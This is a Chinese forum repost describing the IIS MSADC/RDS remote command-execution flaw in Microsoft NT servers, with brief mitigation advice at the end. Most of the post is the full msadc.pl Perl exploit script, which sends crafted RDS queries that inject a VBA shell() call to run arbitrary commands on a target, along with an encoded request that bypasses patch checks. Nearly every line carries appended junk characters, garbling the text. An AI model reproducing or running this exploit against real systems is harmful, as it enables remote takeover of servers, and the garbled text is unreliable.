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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) #Nt? 4T<  
Q(-:)3g[aL  
涉及程序: *`:zSnu  
Microsoft NT server iPMI$  
T jO}P\p  
描述: xf8C$|,  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 bJD2c\qoc  
TxYxB1C)  
详细: #c V_p  
如果你没有时间读详细内容的话,就删除: EPCu  
c:\Program Files\Common Files\System\Msadc\msadcs.dll bQlShVJL  
有关的安全问题就没有了。 JVAJL q  
(]Z%&>*  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 `z$<1Q T  
J9^RP~>bs  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 tI&Z!fj  
关于利用ODBC远程漏洞的描述,请参看: hlxZq  
y< hIXC  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm zrjqB3R4@O  
mnM#NT5]  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 A]2zK?|s  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp dA[Z\  
!GcH )  
这里不再论述。 M0<gea\ =  
iWu$$IV?-  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: |1G/J[E  
U}7 a;4?  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset " 1YARGu  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! tL1"Dt>  
u>j:8lhtV  
x68$?CD  
#将下面这段保存为txt文件,然后: "perl -x 文件名" sm-RpZ&|  
"Y 9 *rL  
#!perl Exox&T  
# 'vT XR_D  
# MSADC/RDS 'usage' (aka exploit) script &ZgB b  
# 2{zFO3i<3  
# by rain.forest.puppy |q5R5 mQ  
# :Vc+/ZyW  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me &[}T41  
# beta test and find errors! 2HBYReQ  
UBp0;)-  
use Socket; use Getopt::Std; Bry\"V"'g  
getopts("e:vd:h:XR", \%args); +(VHnxNQs  
eN@V?G26K  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; N<$U:!Z  
F{\MIuoy  
if (!defined $args{h} && !defined $args{R}) { -.: [a3c?  
print qq~ ;"=a-$vm  
Usage: msadc.pl -h <host> { -d <delay> -X -v } ,Y EB?HA  
-h <host> = host you want to scan (ip or domain) +2=N#LM  
-d <seconds> = delay between calls, default 1 second a!}.l< )  
-X = dump Index Server path table, if available wn[q?|1  
-v = verbose k/W$)b:Of`  
-e = external dictionary file for step 5 6;U]l.  
4f<%<Z  
Or a -R will resume a command session \3(d$_:b  
{w.rcObIw+  
~; exit;} iCCY222:  
+5Yc/Qp  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; @2-Eky  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} PZ~uHX_d>  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} *Z=K9y,IC  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 4flyV -  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} ]Kb  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 3!^5a %u  
?fDF Rms  
if (!defined $args{R}){ $ret = &has_msadc; a?CV;9   
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 2xH9O{  
Ob2H7 !  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" Af5O;v\  
. "cmd /c "; zlIXia5  
$in=<STDIN>; chomp $in; dL'hC#!h  
$command="cmd /c " . $in ; VL"!.^'c  
"; tl>Ot  
if (defined $args{R}) {&load; exit;} >bWsUG9  
>}h/$bU  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; ,JyE7h2%i  
&try_btcustmr; Rm 1obP  
%iY-}uhO  
print "\nStep 2: Trying to make our own DSN..."; Yw<K!'C  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; pc<")9U%/  
WK]SHiHD  
print "\nStep 3: Trying known DSNs..."; >I Aw Nr  
&known_dsn; l2KR=& SX/  
a0OH  
print "\nStep 4: Trying known .mdbs..."; Asicf{HaX  
&known_mdb; :BG/]7>|V  
9VdVom|e  
if (defined $args{e}){ ma>{((N  
print "\nStep 5: Trying dictionary of DSN names..."; "0Uh(9Fv  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } sY!PXD0Q  
)Ac+5bs  
print "Sorry Charley...maybe next time?\n"; vr2tIKvpn  
exit; D+d\<":  
+Ck F#H ~  
############################################################################## Qfr%BQV  
rxjMCMF  
sub sendraw { # ripped and modded from whisker ^Afq)26D  
sleep($delay); # it's a DoS on the server! At least on mine... |&WeXVH E  
my ($pstr)=@_; 7. 9n  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || !EuU @ +  
die("Socket problems\n"); B\A2Vm`&  
if(connect(S,pack "SnA4x8",2,80,$target)){ di}YHMTx  
select(S); $|=1; Udv5Y  
print $pstr; my @in=<S>; ;LNFPo   
select(STDOUT); close(S); nk9Kq\2f:  
return @in; gUzCDB^.:  
} else { die("Can't connect...\n"); }} ;AK;%  
!1K<iz_8  
############################################################################## VYI%U'9Q  
1$e z}k,  
sub make_header { # make the HTTP request 48Y5ppcS  
my $msadc=<<EOT "*|plB  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 w35r\x +  
User-Agent: ACTIVEDATA {X<mr~  
Host: $ip 7F.t>$'  
Content-Length: $clen U8kH'OD  
Connection: Keep-Alive _In[Z?P}  
1[o] u:m9U  
ADCClientVersion:01.06 o1='Fr  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 /`#sp  
1BUdl=o>S  
--!ADM!ROX!YOUR!WORLD! <n< @ O5  
Content-Type: application/x-varg |BhfW O8p  
Content-Length: $reqlen _;",7bT80  
EL $"MT}p  
EOT saQA:W;  
; $msadc=~s/\n/\r\n/g; |2(z<b&y=  
return $msadc;} AYHB?xOpR  
FCTz>N^p  
############################################################################## z.n`0`^  
Oi+(`  
sub make_req { # make the RDS request \dSMF,E  
my ($switch, $p1, $p2)=@_; :D6"h[7  
my $req=""; my $t1, $t2, $query, $dsn; xiuAW  
/-JBz U$  
if ($switch==1){ # this is the btcustmr.mdb query 1$oVcDLl  
$query="Select * from Customers where City=" . make_shell(); IE!fNuR4  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 5"Q3,4f  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} &hWLG<IE  
i"2[OM\j7  
elsif ($switch==2){ # this is general make table query fBS`b[ x  
$query="create table AZZ (B int, C varchar(10))"; R?!xO-^t  
$dsn="$p1";} FLdO  
{ve86 POY  
elsif ($switch==3){ # this is general exploit table query L8n1p5 gx3  
$query="select * from AZZ where C=" . make_shell(); FDM&rQ  
$dsn="$p1";} 7q?u`3l  
4mSL*1j  
elsif ($switch==4){ # attempt to hork file info from index server vUl5%r2O4  
$query="select path from scope()"; J8I_tF6  
$dsn="Provider=MSIDXS;";} |4//%Ll/  
g9(zJ  
elsif ($switch==5){ # bad query 4Z>hP]7  
$query="select"; t] LCe\#  
$dsn="$p1";} |j53' >N[  
-Qx:-,.a  
$t1= make_unicode($query); 50% |9D0?Y  
$t2= make_unicode($dsn); !U.Xb6  
$req = "\x02\x00\x03\x00"; 6T{Zee  
$req.= "\x08\x00" . pack ("S1", length($t1)); Z#YkAQHv5  
$req.= "\x00\x00" . $t1 ; ! )$ PD@  
$req.= "\x08\x00" . pack ("S1", length($t2)); 6=o@X  
$req.= "\x00\x00" . $t2 ; 8$a4[s  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; $by-?z((  
return $req;} px5~D(N  
l4u@0;6P  
############################################################################## V!G&Aen  
z5IHcZ  
sub make_shell { # this makes the shell() statement 4K`N3  
return "'|shell(\"$command\")|'";} 3)v6N_  
X||Z>w}v  
############################################################################## ]X~;?>#:p  
E15"AO  
sub make_unicode { # quick little function to convert to unicode %\PnsnJ9Q  
my ($in)=@_; my $out; 6#VG,'e3  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } Okm&b g  
return $out;} QA7SQ cd,  
eA9U|&o  
############################################################################## _KiaeVE  
P lJl#-BO  
sub rdo_success { # checks for RDO return success (this is kludge) fo~8W`H&  
my (@in) = @_; my $base=content_start(@in); <e"O`*ZJ  
if($in[$base]=~/multipart\/mixed/){ yO.3~H)c  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} +;SQ }[  
return 0;} o<P@:}K  
:Z(?Ct&8  
############################################################################## |5)~WoV/G  
Srj%6rgsB  
sub make_dsn { # this makes a DSN for us 86O"w*9  
my @drives=("c","d","e","f"); s mub> V  
print "\nMaking DSN: "; ?6.vd]oNO  
foreach $drive (@drives) { w#[Ul9=?6  
print "$drive: "; n's3!HQY[  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . bsVms,&  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" = aSHb[hO  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); epa)ctS9  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; cC w,b]  
return 0 if $2 eq "404"; # not found/doesn't exist pj>b6^TI6C  
if($2 eq "200") { 'Ht$LqG  
foreach $line (@results) { )BNm~sP  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} Q(h,P+  
} return 0;} F^b C!;~x  
{V%ZOdg9  
############################################################################## Ib.`2@ o&  
'JY*K:-  
sub verify_exists { U I|L;5  
my ($page)=@_; D.xN_NK"  
my @results=sendraw("GET $page HTTP/1.0\n\n"); _ b}\h,Ky  
return $results[0];} hH:7  
@<Au|l`  
############################################################################## Ls#pe  
i.2O~30ST  
sub try_btcustmr { ~L Gkc t  
my @drives=("c","d","e","f"); ElAJR4'{*i  
my @dirs=("winnt","winnt35","winnt351","win","windows"); adtK$@Yeg  
B' 6^E#9  
foreach $dir (@dirs) { hk4f)z  
print "$dir -> "; # fun status so you can see progress ?cdSZ'49[  
foreach $drive (@drives) { ep<Ad  
print "$drive: "; # ditto vai.",b=n6  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; 7t` <`BY^  
$reqlenlen=length( "$reqlen" ); x-+[gNc 6  
$clen= 206 + $reqlenlen + $reqlen; vFY/o,b \  
pW O-YZ#+  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); =Xzqp,  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} f ^mxj/%L  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} YXXUYi~!f  
Z:aDKAboU  
############################################################################## nMc3.fM  
Mh'QD)28c  
sub odbc_error { I2("p.+R  
my (@in)=@_; my $base; T:x5 ,vpM  
my $base = content_start(@in); >1:s.[&  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this @8C^[fDL  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; At%g^  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; JbzYr] k  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; pcNVtp 'V  
return $in[$base+4].$in[$base+5].$in[$base+6];} kbBD+*  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; ^ cN-   
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . _m;cX!+~_  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} XG<J'3  
` _()R`=  
############################################################################## q:#,b0|bv  
-_'M *-  
sub verbose { $1oU^V Y  
my ($in)=@_; ]+)z}lr8 C  
return if !$verbose; N%6jZmKip  
print STDOUT "\n$in\n";} %*OKhrM  
{r.#R| 4v  
############################################################################## m JewUc!<5  
V S2p"0$3D  
sub save { ,HS\(Z  
my ($p1, $p2, $p3, $p4)=@_; 1YR;dn  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; ^ef:cS$;  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; K @"m0  
close OUT;} |tz1'YOB  
cRz7.9-<  
############################################################################## 5R4h9D5  
x(3E#7>1  
sub load { /MTS>[E  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; i\2MphS  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); U jVo "K  
@p=<IN>; close(IN); aW %ulZ  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); %Z&[wU~  
$target= inet_aton($ip) || die("inet_aton problems"); k<=.1cFh  
print "Resuming to $ip ..."; :BCjt@K}  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; ttLC hL  
if($p[1]==1) { R+lKQAyC0=  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; hU5[k/ q  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; )vO Zp&  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); K"eR 6_ k  
if (rdo_success(@results)){print "Success!\n";} $;7?w-.  
else { print "failed\n"; verbose(odbc_error(@results));}} aGNt?)8WPZ  
elsif ($p[1]==3){ *j><a  
if(run_query("$p[3]")){ S+|aCRS  
print "Success!\n";} else { print "failed\n"; }} !6|Kpy8  
elsif ($p[1]==4){ L':;Vv~-  
if(run_query($drvst . "$p[3]")){ eOy{]< l3  
print "Success!\n"; } else { print "failed\n"; }} KQ?E]}rZ  
exit;} )=9\6zXS  
IkH]W!_+  
############################################################################## aMuc]Wy#  
4 *He<2g  
sub create_table { Wf 13Ab  
my ($in)=@_; 1W8[ RET  
$reqlen=length( make_req(2,$in,"") ) - 28; ^Ot+,l)  
$reqlenlen=length( "$reqlen" ); 7u,56V?X  
$clen= 206 + $reqlenlen + $reqlen; 3nd02:GF  
my @results=sendraw(make_header() . make_req(2,$in,"")); {#uX   
return 1 if rdo_success(@results); TuwH?{ FzK  
my $temp= odbc_error(@results); verbose($temp); o; 6\  
return 1 if $temp=~/Table 'AZZ' already exists/; Po&gr@e.V  
return 0;} T_6,o[b8  
&of%;>$>M  
############################################################################## Mp?Ev.  
m^U\l9LE  
sub known_dsn { )8ctNpQt  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go b'Z#RIb  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", _.J{U0N  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", ^w^cYM,  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); W6&" .2  
/+2^xEIjE  
foreach $dSn (@dsns) { @`k!7? Sq  
print "."; Ee9u7TFT  
next if (!is_access("DSN=$dSn")); s?=f,I  
if(create_table("DSN=$dSn")){ NeCTEe|V  
print "$dSn successful\n"; M^r1b1tR  
if(run_query("DSN=$dSn")){ HCb7 `(@  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {  gsc/IUk  
print "Something's borked. Use verbose next time\n";}}} print "\n";} %,a.431gi  
:CSys62  
############################################################################## mn*.z!N=  
q ]rsp0P2  
sub is_access { +F&w~UT  
my ($in)=@_; |GL#E"[&'  
$reqlen=length( make_req(5,$in,"") ) - 28; {\`#,[  
$reqlenlen=length( "$reqlen" ); q{ @>2AlK  
$clen= 206 + $reqlenlen + $reqlen; o?$D09j;;  
my @results=sendraw(make_header() . make_req(5,$in,"")); A[XEbfDO  
my $temp= odbc_error(@results); U;OJ.a9  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); 2 'xT%  
return 0;} *`ji2+4Sjw  
/4w&! $M-  
############################################################################## {qx}f^WV  
+q) ^pCC  
sub run_query { $tj[ *  
my ($in)=@_; 2aW&d=!ZV  
$reqlen=length( make_req(3,$in,"") ) - 28; S`K8e^]  
$reqlenlen=length( "$reqlen" ); ~?E x?!\9R  
$clen= 206 + $reqlenlen + $reqlen; jFw?Ky2  
my @results=sendraw(make_header() . make_req(3,$in,"")); M ,e_=aq  
return 1 if rdo_success(@results); 1P3^il7  
my $temp= odbc_error(@results); verbose($temp); & @^|=>L  
return 0;} O9p8x2  
`P)atQ  
############################################################################## Nk86Y2h  
z^{VqC*o+  
sub known_mdb { H1 n`A#6?  
my @drives=("c","d","e","f","g"); MCe =RR  
my @dirs=("winnt","winnt35","winnt351","win","windows"); "^zxq5u  
my $dir, $drive, $mdb; Z)|*mJ  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; uV52ko,  
PS`v3|d}}}  
# this is sparse, because I don't know of many e}(ws~.  
my @sysmdbs=( "\\catroot\\icatalog.mdb", %1@+pf/  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 3VB{Qj  
"\\system32\\certmdb.mdb", 0#G&8*FMN  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% ZR6KE_  
n_)d4d zl  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", tE9%;8;H  
"\\cfusion\\cfapps\\forums\\forums_.mdb", /AjGj*O  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 5=., a5  
"\\cfusion\\cfapps\\security\\realm_.mdb", fJd!;ur)0  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", JdfjOlEb  
"\\cfusion\\database\\cfexamples.mdb", :I+%v  
"\\cfusion\\database\\cfsnippets.mdb", 2y,NT|jp  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", FoInJ(PDH  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", [FAoC3 k-h  
"\\cfusion\\brighttiger\\database\\cleam.mdb", D/9&pRsO  
"\\cfusion\\database\\smpolicy.mdb", wP+wA}SN  
"\\cfusion\\database\cypress.mdb", :?U1^!$$1  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", xQm!  
"\\website\\cgi-win\\dbsample.mdb", y_Bmd   
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 31  QT  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" <S6|$7{1  
); #these are just 4Xe3PdE  
foreach $drive (@drives) { #QXB2x<*  
foreach $dir (@dirs){ BQ)zm  
foreach $mdb (@sysmdbs) { 3O:Z;YP:<  
print "."; n3g3(} Q0  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ bv4lgRE6Y  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 8qrE<RHU@  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ /V2Ih  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 'eLO#1Ipf  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 5WP)na6"  
`CUTb*{`  
foreach $drive (@drives) { z$QYl*F1  
foreach $mdb (@mdbs) { TC<_I0jCh  
print "."; 2Rc#{A  
if(create_table($drv . $drive . $dir . $mdb)){ :,fs' !  
print "\n" . $drive . $dir . $mdb . " successful\n"; V[(zRGa{  
if(run_query($drv . $drive . $dir . $mdb)){ 4@.qM6 \\q  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; bf VKf}  
} else { print "Something's borked. Use verbose next time\n"; }}}} E"b+Q  
} q#xoM1  
(ye1t96  
############################################################################## %{Kp#R5E  
3T'9_v[Y  
sub hork_idx { :tl* >d~  
print "\nAttempting to dump Index Server tables...\n"; %|I~8>m  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; kOfbO'O9  
$reqlen=length( make_req(4,"","") ) - 28; U,gg@!1GJo  
$reqlenlen=length( "$reqlen" ); fk<0~ tE  
$clen= 206 + $reqlenlen + $reqlen; @dvlSqm)  
my @results=sendraw2(make_header() . make_req(4,"","")); F *=>=  
if (rdo_success(@results)){ +4Aj/$%[q  
my $max=@results; my $c; my %d; etMQy6E\  
for($c=19; $c<$max; $c++){ /vYuwaWG=  
$results[$c]=~s/\x00//g; bE74Ui  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; ]o$aGrZ  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; w<!F& kQB  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; \uQ yp*P1s  
$d{"$1$2"}="";} -,)&?S  
foreach $c (keys %d){ print "$c\n"; } jdiH9]&U  
} else {print "Index server doesn't seem to be installed.\n"; }} I q]+O Q  
bBk_2lg=4)  
############################################################################## 3yX^93  
$M5iU@A  
sub dsn_dict { 7hQXGY,q  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 5Tag-+  
while(<IN>){ ,bzE`6  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; 0/5 a3-3{  
next if (!is_access("DSN=$dSn"));  O{R)0&  
if(create_table("DSN=$dSn")){ (HbA?Aja  
print "$dSn successful\n"; 4 3V {q  
if(run_query("DSN=$dSn")){ Q"7vzri  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ^SM>bJ1Z_  
print "Something's borked. Use verbose next time\n";}}} |(u6xPs;P  
print "\n"; close(IN);} d0``:  
# 2;6!_  
############################################################################## f8E,.$>  
c|RTP  
sub sendraw2 { # ripped and modded from whisker QiC}hj$  
sleep($delay); # it's a DoS on the server! At least on mine... _^w&k{T  
my ($pstr)=@_; "'U+T:S  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || S9RH&/^H  
die("Socket problems\n"); Y\75cfD  
if(connect(S,pack "SnA4x8",2,80,$target)){ w_qX~d/  
print "Connected. Getting data"; u#!QIQW  
open(OUT,">raw.out"); my @in; ^x2zMB\t  
select(S); $|=1; print $pstr; uJ-Q]yQ  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} %4'<0  
close(OUT); select(STDOUT); close(S); return @in; n=Ze p{^  
} else { die("Can't connect...\n"); }} F3nYMf  
\.ukZqB3 0  
############################################################################## P^[eTR*?  
wtM1gYl^  
sub content_start { # this will take in the server headers fVf @Ngvu  
my (@in)=@_; my $c; sE^ee2]OI@  
for ($c=1;$c<500;$c++) { w3Lr~_j  
if($in[$c] =~/^\x0d\x0a/){ B']-4X{SGa  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } .>#X*u  
else { return $c+1; }}} Sf*1Z~P|  
return -1;} # it should never get here actually VO JA}$  
  6a}  
############################################################################## 6|uv+$  
ibH!bS{  
sub funky { 9]C%2!Ur,  
my (@in)=@_; my $error=odbc_error(@in); CiWz>HWH  
if($error=~/ADO could not find the specified provider/){ n)|{tb^  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; ~Y/:]&wF  
exit;} uwl_TDc>%  
if($error=~/A Handler is required/){ ylm # Xa  
print "\nServer has custom handler filters (they most likely are patched)\n"; w)N~u%  
exit;} A=W:}szt]  
if($error=~/specified Handler has denied Access/){ j+9;Rvt2  
print "\nServer has custom handler filters (they most likely are patched)\n"; @yM$Et5  
exit;}} }ChScY  
t)|~8xpP  
############################################################################## zfrNM9C  
s Poh\n  
sub has_msadc { QUeuN?3X\  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); 2cEvsvw>  
my $base=content_start(@results); z~"Q_gme  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); o_8Wnx^  
return 0;} j"hNkCF  
6(=B`Z}a  
######################## +=:_a$98  
{p.^E5&  
O^J=19Ri  
解决方案: nW)?cQ I  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll J#W*,%8O  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 T+^Sa J  
|}L=e.  
拿出来充数 哈哈
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